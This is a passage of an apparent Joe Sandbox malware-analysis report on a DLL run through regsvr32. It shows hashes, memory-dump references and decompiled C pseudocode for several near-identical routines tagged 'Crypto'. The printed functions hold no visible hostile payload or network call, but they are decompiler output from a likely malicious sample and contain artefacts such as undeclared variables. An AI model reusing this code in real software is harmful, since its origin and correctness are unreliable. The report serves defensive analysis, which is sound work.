                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a3ae9b80aead58967a22629e22b574256e6b42edbe67ad15ee6fe2d20dd6fbc2
                                                                                                        • Instruction ID: 968ecd3b15bd591ac755f6b94f59c530255295915ce40d53ee5c4f512b2a3a3e
                                                                                                        • Opcode Fuzzy Hash: a3ae9b80aead58967a22629e22b574256e6b42edbe67ad15ee6fe2d20dd6fbc2
                                                                                                        • Instruction Fuzzy Hash: BC316F72204A88C6DBA68F29E4813AE77A0F399B8CF658125DB8C4B765DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180033250 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180033250(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				long long _t67;
				long long _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				intOrPtr* _t79;
				void* _t80;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x8003327d;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t79 + 8;
				_t67 =  *_t79;
				 *__rdx = _t67;
				goto 0x8003334a;
				if (__eax - 0x63 <= 0) goto 0x800332be;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t57;
				_v24 = _t72;
				E00000001180025880(_t57, __rcx, _t67, __rdx, _t73, _t74, _t79 + 8);
				goto 0x8003334c;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x8003333c;
				_t43 =  *((intOrPtr*)(_t67 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t71 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800332f8;
				 *_t71 = 1;
				 *((intOrPtr*)(_t71 + 4)) = r9b;
				 *((intOrPtr*)(_t71 + 0x10)) = _t43;
				dil = 1;
				goto 0x8003334c;
				_v24 = _t43;
				r8d = 1;
				_t68 = _t64;
				if (E0000000118003FE64(_t41, _t64, _t68, _t71, _t72, _t79, _t80) != 0) goto 0x800332f0;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t72;
				E00000001180025880(_t61, _t64, _t68, _t71, _t73, _t74, _t79 + 8);
				goto 0x800332f3;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t61 * 8))));
				return 1;
			}





















                                                                                                        0x180033250
                                                                                                        0x180033261
                                                                                                        0x180033264
                                                                                                        0x180033266
                                                                                                        0x18003326e
                                                                                                        0x180033272
                                                                                                        0x180033275
                                                                                                        0x180033278
                                                                                                        0x180033287
                                                                                                        0x180033289
                                                                                                        0x18003328f
                                                                                                        0x180033292
                                                                                                        0x180033297
                                                                                                        0x18003329b
                                                                                                        0x1800332a2
                                                                                                        0x1800332a8
                                                                                                        0x1800332ad
                                                                                                        0x1800332b2
                                                                                                        0x1800332b9
                                                                                                        0x1800332c9
                                                                                                        0x1800332cb
                                                                                                        0x1800332d5
                                                                                                        0x1800332d9
                                                                                                        0x1800332e1
                                                                                                        0x1800332e3
                                                                                                        0x1800332e9
                                                                                                        0x1800332ed
                                                                                                        0x1800332f0
                                                                                                        0x1800332f6
                                                                                                        0x1800332f8
                                                                                                        0x1800332fc
                                                                                                        0x180033302
                                                                                                        0x18003330c
                                                                                                        0x18003330e
                                                                                                        0x180033312
                                                                                                        0x180033315
                                                                                                        0x18003331c
                                                                                                        0x180033320
                                                                                                        0x180033327
                                                                                                        0x18003332b
                                                                                                        0x180033330
                                                                                                        0x180033335
                                                                                                        0x18003333a
                                                                                                        0x180033347
                                                                                                        0x180033356

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 5dd85e7a4280b2511f60e6c1907806041cc1a04a3679840377cc7511fc5fa99d
                                                                                                        • Instruction ID: 4f990b0ac94aa283aedbbba89ccb1b8439e661488cc44e0cd65d188da6fdd54c
                                                                                                        • Opcode Fuzzy Hash: 5dd85e7a4280b2511f60e6c1907806041cc1a04a3679840377cc7511fc5fa99d
                                                                                                        • Instruction Fuzzy Hash: 4E317172205B88C5DBA68F29E0817AE77A0F39DB8CF658129EB8C4B751CF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032280 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180032280(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				void* __rdi;
				signed int _t42;
				signed long long _t45;
				intOrPtr _t58;
				signed long long _t59;
				intOrPtr _t62;
				signed long long _t63;
				long long _t65;
				long long _t67;
				signed long long* _t71;
				signed long long _t72;
				void* _t73;
				void* _t74;
				void* _t80;

				_t67 = __rcx;
				_a8 = __rbx;
				_t65 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800322ae;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x8003237b;
				if (__eax - 0x63 <= 0) goto 0x800322ef;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t58 + 0x30)) = 1;
				 *((intOrPtr*)(_t58 + 0x2c)) = 0x16;
				_t59 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t59;
				_v24 = _t72;
				E00000001180025880(_t59, __rcx, __rcx, __rdx, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003237d;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x8003236d;
				_t45 =  *(_t67 + 0x34);
				r9b =  *(_t65 + 0x39);
				_t71 = _t65 + (_t59 + _t59 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80032329;
				 *_t71 = 1;
				_t71[0] = r9b;
				_t71[2] = _t45;
				dil = 1;
				goto 0x8003237d;
				_v24 = _t45;
				r8d = 1;
				if (E0000000118003FE64(_t42, _t65, _t65, _t71, _t72, _t79, _t80) != 0) goto 0x80032321;
				_t62 =  *((intOrPtr*)(_t65 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t62 + 0x30)) = 1;
				 *((intOrPtr*)(_t62 + 0x2c)) = 0x16;
				_t63 =  *((intOrPtr*)(_t65 + 8));
				_v16 = _t63;
				_v24 = _t72;
				E00000001180025880(_t63, _t65, _t65, _t71, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80032324;
				 *_t71 = _t63;
				return 1;
			}



















                                                                                                        0x180032280
                                                                                                        0x180032280
                                                                                                        0x180032291
                                                                                                        0x180032294
                                                                                                        0x180032296
                                                                                                        0x18003229e
                                                                                                        0x1800322a6
                                                                                                        0x1800322a9
                                                                                                        0x1800322b8
                                                                                                        0x1800322ba
                                                                                                        0x1800322c0
                                                                                                        0x1800322c3
                                                                                                        0x1800322c8
                                                                                                        0x1800322cc
                                                                                                        0x1800322d3
                                                                                                        0x1800322d9
                                                                                                        0x1800322de
                                                                                                        0x1800322e3
                                                                                                        0x1800322ea
                                                                                                        0x1800322fa
                                                                                                        0x1800322fc
                                                                                                        0x180032306
                                                                                                        0x18003230a
                                                                                                        0x180032312
                                                                                                        0x180032314
                                                                                                        0x18003231a
                                                                                                        0x18003231e
                                                                                                        0x180032321
                                                                                                        0x180032327
                                                                                                        0x180032329
                                                                                                        0x18003232d
                                                                                                        0x18003233d
                                                                                                        0x18003233f
                                                                                                        0x180032343
                                                                                                        0x180032346
                                                                                                        0x18003234d
                                                                                                        0x180032351
                                                                                                        0x180032358
                                                                                                        0x18003235c
                                                                                                        0x180032361
                                                                                                        0x180032366
                                                                                                        0x18003236b
                                                                                                        0x180032378
                                                                                                        0x180032387

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 0df1a9487ea36a433a5b73a2736fc57882590d1bb497648b82d8f49e61f96993
                                                                                                        • Instruction ID: 063a5a8b5f48a5161cac074803cc7bcfaaa666d116137e3881cec42eca762c2e
                                                                                                        • Opcode Fuzzy Hash: 0df1a9487ea36a433a5b73a2736fc57882590d1bb497648b82d8f49e61f96993
                                                                                                        • Instruction Fuzzy Hash: 6A317572105788C5DB668F29E4403AE7BA0F39DB8CF558115EB8C47755CF3AC256DB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034298 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180034298(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800342c5;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x80034394;
				if (__eax - 0x63 <= 0) goto 0x80034306;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x80034396;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80034386;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80034342;
				 *_t71 = 3;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x80034396;
				_v24 = _t42;
				r8d = 3;
				_t68 = _t63;
				if (E000000011800402CC(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x8003433a;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x8003433d;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180034298
                                                                                                        0x1800342a9
                                                                                                        0x1800342ac
                                                                                                        0x1800342ae
                                                                                                        0x1800342b6
                                                                                                        0x1800342ba
                                                                                                        0x1800342bd
                                                                                                        0x1800342c0
                                                                                                        0x1800342cf
                                                                                                        0x1800342d1
                                                                                                        0x1800342d7
                                                                                                        0x1800342da
                                                                                                        0x1800342df
                                                                                                        0x1800342e3
                                                                                                        0x1800342ea
                                                                                                        0x1800342f0
                                                                                                        0x1800342f5
                                                                                                        0x1800342fa
                                                                                                        0x180034301
                                                                                                        0x180034311
                                                                                                        0x180034313
                                                                                                        0x18003431d
                                                                                                        0x180034322
                                                                                                        0x18003432a
                                                                                                        0x18003432c
                                                                                                        0x180034332
                                                                                                        0x180034337
                                                                                                        0x18003433a
                                                                                                        0x180034340
                                                                                                        0x180034342
                                                                                                        0x180034346
                                                                                                        0x18003434c
                                                                                                        0x180034356
                                                                                                        0x180034358
                                                                                                        0x18003435c
                                                                                                        0x18003435f
                                                                                                        0x180034366
                                                                                                        0x18003436a
                                                                                                        0x180034371
                                                                                                        0x180034375
                                                                                                        0x18003437a
                                                                                                        0x18003437f
                                                                                                        0x180034384
                                                                                                        0x180034391
                                                                                                        0x1800343a0

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3eac0863150bfa8e42d26b6571ba4d6a3e5c9a8cf89cfacbf276231e25f78093
                                                                                                        • Instruction ID: 2f345d80739571a466eb8deb0dfcdf1cffae8e8ed2f38f23df1b7f091917b58a
                                                                                                        • Opcode Fuzzy Hash: 3eac0863150bfa8e42d26b6571ba4d6a3e5c9a8cf89cfacbf276231e25f78093
                                                                                                        • Instruction Fuzzy Hash: 50316173205A48C6DB668F29D0403AD77A4F398B8CF658115EB8C4F760DF36C656C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800352C0 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E000000011800352C0(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				intOrPtr* _t67;
				long long _t68;
				long long _t69;
				long long* _t72;
				long long _t73;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800352ed;
				_t67 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t67 + 8;
				_t68 =  *_t67;
				 *__rdx = _t68;
				goto 0x800353ba;
				if (__eax - 0x63 <= 0) goto 0x8003532e;
				_t56 =  *((intOrPtr*)(_t68 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t68 + 8));
				_v16 = _t57;
				_v24 = _t73;
				E00000001180025880(_t57, __rcx, _t68, __rdx, _t74, _t75, _t67 + 8);
				goto 0x800353bc;
				if ( *((intOrPtr*)(_t68 + 0x470)) != 1) goto 0x800353ac;
				_t43 =  *((intOrPtr*)(_t68 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t72 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t72 != 0) goto 0x80035368;
				 *_t72 = 2;
				 *((intOrPtr*)(_t72 + 4)) = r9b;
				 *((intOrPtr*)(_t72 + 0x10)) = _t43;
				dil = 1;
				goto 0x800353bc;
				_v24 = _t43;
				r8d = 2;
				_t69 = _t64;
				if (E0000000118003FE64(_t41, _t64, _t69, _t72, _t73, _t80, _t81) != 0) goto 0x80035360;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t73;
				E00000001180025880(_t61, _t64, _t69, _t72, _t74, _t75, _t67 + 8);
				goto 0x80035363;
				 *_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0x488 + _t61 * 8))));
				return 1;
			}






















                                                                                                        0x1800352c0
                                                                                                        0x1800352d1
                                                                                                        0x1800352d4
                                                                                                        0x1800352d6
                                                                                                        0x1800352de
                                                                                                        0x1800352e2
                                                                                                        0x1800352e5
                                                                                                        0x1800352e8
                                                                                                        0x1800352f7
                                                                                                        0x1800352f9
                                                                                                        0x1800352ff
                                                                                                        0x180035302
                                                                                                        0x180035307
                                                                                                        0x18003530b
                                                                                                        0x180035312
                                                                                                        0x180035318
                                                                                                        0x18003531d
                                                                                                        0x180035322
                                                                                                        0x180035329
                                                                                                        0x180035339
                                                                                                        0x18003533b
                                                                                                        0x180035345
                                                                                                        0x180035349
                                                                                                        0x180035351
                                                                                                        0x180035353
                                                                                                        0x180035359
                                                                                                        0x18003535d
                                                                                                        0x180035360
                                                                                                        0x180035366
                                                                                                        0x180035368
                                                                                                        0x18003536c
                                                                                                        0x180035372
                                                                                                        0x18003537c
                                                                                                        0x18003537e
                                                                                                        0x180035382
                                                                                                        0x180035385
                                                                                                        0x18003538c
                                                                                                        0x180035390
                                                                                                        0x180035397
                                                                                                        0x18003539b
                                                                                                        0x1800353a0
                                                                                                        0x1800353a5
                                                                                                        0x1800353aa
                                                                                                        0x1800353b7
                                                                                                        0x1800353c6

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 00dab84108ecd3ed21650d63007d04cae4fbf78d5bd08eacd7cffd23585a54ab
                                                                                                        • Instruction ID: 94bff54f0886148ce6b074113b81ad039819dea69fe35ad52985e02832c214ba
                                                                                                        • Opcode Fuzzy Hash: 00dab84108ecd3ed21650d63007d04cae4fbf78d5bd08eacd7cffd23585a54ab
                                                                                                        • Instruction Fuzzy Hash: 66319372205B48C5DB668F29D0813AE77A0F39DF88F558119DB8C4B361CF76C256C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180033358 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180033358(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				long long _t67;
				long long _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				intOrPtr* _t79;
				void* _t80;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80033385;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t79 + 8;
				_t67 =  *_t79;
				 *__rdx = _t67;
				goto 0x80033452;
				if (__eax - 0x63 <= 0) goto 0x800333c6;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t57;
				_v24 = _t72;
				E00000001180025880(_t57, __rcx, _t67, __rdx, _t73, _t74, _t79 + 8);
				goto 0x80033454;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80033444;
				_t43 =  *((intOrPtr*)(_t67 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t71 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80033400;
				 *_t71 = 1;
				 *((intOrPtr*)(_t71 + 4)) = r9b;
				 *((intOrPtr*)(_t71 + 0x10)) = _t43;
				dil = 1;
				goto 0x80033454;
				_v24 = _t43;
				r8d = 1;
				_t68 = _t64;
				if (E00000001180040098(_t41, _t64, _t68, _t71, _t72, _t79, _t80) != 0) goto 0x800333f8;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t72;
				E00000001180025880(_t61, _t64, _t68, _t71, _t73, _t74, _t79 + 8);
				goto 0x800333fb;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t61 * 8))));
				return 1;
			}





















                                                                                                        0x180033358
                                                                                                        0x180033369
                                                                                                        0x18003336c
                                                                                                        0x18003336e
                                                                                                        0x180033376
                                                                                                        0x18003337a
                                                                                                        0x18003337d
                                                                                                        0x180033380
                                                                                                        0x18003338f
                                                                                                        0x180033391
                                                                                                        0x180033397
                                                                                                        0x18003339a
                                                                                                        0x18003339f
                                                                                                        0x1800333a3
                                                                                                        0x1800333aa
                                                                                                        0x1800333b0
                                                                                                        0x1800333b5
                                                                                                        0x1800333ba
                                                                                                        0x1800333c1
                                                                                                        0x1800333d1
                                                                                                        0x1800333d3
                                                                                                        0x1800333dd
                                                                                                        0x1800333e1
                                                                                                        0x1800333e9
                                                                                                        0x1800333eb
                                                                                                        0x1800333f1
                                                                                                        0x1800333f5
                                                                                                        0x1800333f8
                                                                                                        0x1800333fe
                                                                                                        0x180033400
                                                                                                        0x180033404
                                                                                                        0x18003340a
                                                                                                        0x180033414
                                                                                                        0x180033416
                                                                                                        0x18003341a
                                                                                                        0x18003341d
                                                                                                        0x180033424
                                                                                                        0x180033428
                                                                                                        0x18003342f
                                                                                                        0x180033433
                                                                                                        0x180033438
                                                                                                        0x18003343d
                                                                                                        0x180033442
                                                                                                        0x18003344f
                                                                                                        0x18003345e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: f4e738d53cda013f5c5ad9442c016b5b312a54f46a5eae2c7632742af616e98b
                                                                                                        • Instruction ID: 076fe7e33599d722f68a49c9035082386b65fbce1c6a0df89b5051fecbf41f9c
                                                                                                        • Opcode Fuzzy Hash: f4e738d53cda013f5c5ad9442c016b5b312a54f46a5eae2c7632742af616e98b
                                                                                                        • Instruction Fuzzy Hash: 62318772205B84C6EB668F29E0813AE77A0F39DB8CF558129EB8C4B751DF36C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032388 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180032388(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				void* __rdi;
				signed int _t42;
				signed long long _t45;
				intOrPtr _t58;
				signed long long _t59;
				intOrPtr _t62;
				signed long long _t63;
				long long _t65;
				long long _t67;
				signed long long* _t71;
				signed long long _t72;
				void* _t73;
				void* _t74;
				void* _t80;

				_t67 = __rcx;
				_a8 = __rbx;
				_t65 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800323b6;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x80032483;
				if (__eax - 0x63 <= 0) goto 0x800323f7;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t58 + 0x30)) = 1;
				 *((intOrPtr*)(_t58 + 0x2c)) = 0x16;
				_t59 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t59;
				_v24 = _t72;
				E00000001180025880(_t59, __rcx, __rcx, __rdx, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80032485;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80032475;
				_t45 =  *(_t67 + 0x34);
				r9b =  *(_t65 + 0x39);
				_t71 = _t65 + (_t59 + _t59 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80032431;
				 *_t71 = 1;
				_t71[0] = r9b;
				_t71[2] = _t45;
				dil = 1;
				goto 0x80032485;
				_v24 = _t45;
				r8d = 1;
				if (E00000001180040098(_t42, _t65, _t65, _t71, _t72, _t79, _t80) != 0) goto 0x80032429;
				_t62 =  *((intOrPtr*)(_t65 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t62 + 0x30)) = 1;
				 *((intOrPtr*)(_t62 + 0x2c)) = 0x16;
				_t63 =  *((intOrPtr*)(_t65 + 8));
				_v16 = _t63;
				_v24 = _t72;
				E00000001180025880(_t63, _t65, _t65, _t71, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003242c;
				 *_t71 = _t63;
				return 1;
			}



















                                                                                                        0x180032388
                                                                                                        0x180032388
